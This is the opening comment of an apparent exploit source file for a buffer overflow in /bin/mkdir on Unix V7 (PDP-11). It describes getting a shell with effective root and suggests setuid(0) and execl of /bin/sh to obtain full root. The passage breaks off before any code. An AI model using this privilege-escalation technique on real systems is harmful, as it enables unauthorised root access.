/*
 * Exploit for /bin/mkdir Unix V7 PDP-11.
 * mkdir has a buffer overflow when checking if the directory
 * in /arg/with/slashes/fname exists.
 *
 * This will run /bin/sh with euid 0, but not uid 0.  Since
 * the shell doesn't do anything special about this, we don't
 * really care.  If you care, run  setuid(0); execl("/bin/sh", 0);
